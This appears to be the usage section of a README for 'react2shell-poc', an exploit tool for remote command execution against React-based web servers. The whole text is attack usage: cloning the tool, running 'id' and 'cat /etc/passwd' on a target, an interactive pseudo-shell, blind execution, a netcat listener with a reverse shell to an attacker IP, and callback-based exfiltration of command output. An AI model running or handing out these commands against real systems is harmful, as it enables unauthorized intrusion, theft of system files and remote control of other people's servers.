git clone https://github.com/p3ta00/react2shell-poc.git
cd react2shell-poc
pip install requests

python3 react2shell-poc.py -t http://TARGET:3000 -c "id"
python3 react2shell-poc.py -t http://TARGET:3000 -c "cat /etc/passwd"

python3 react2shell-poc.py -t http://TARGET:3000 -i

python3 react2shell-poc.py -t http://TARGET:3000 --check

python3 react2shell-poc.py -t http://TARGET:3000 -c "touch /tmp/pwned" --blind

# Start listener
nc -lvnp 4444

# Send payload
python3 react2shell-poc.py -t http://TARGET:3000 --revshell --lhost YOUR_IP --lport 4444

python3 react2shell-poc.py -t http://TARGET:3000 -c "id" --listen --lhost YOUR_IP

-t, --target       Target URL (required)
-c, --command      Command to execute (output via error-based exfil by default)
--check            Check if target is vulnerable
--blind            Blind RCE mode (no output capture)
--listen           Use callback server instead of error-based exfil
-i, --interactive  Interactive pseudo-shell mode
--revshell         Attempt reverse shell
--lhost            Attacker IP for callbacks/reverse shell
--lport            Callback port (default: 9999)
--callback         Manual callback URL
--timeout          Request timeout in seconds (default: 30)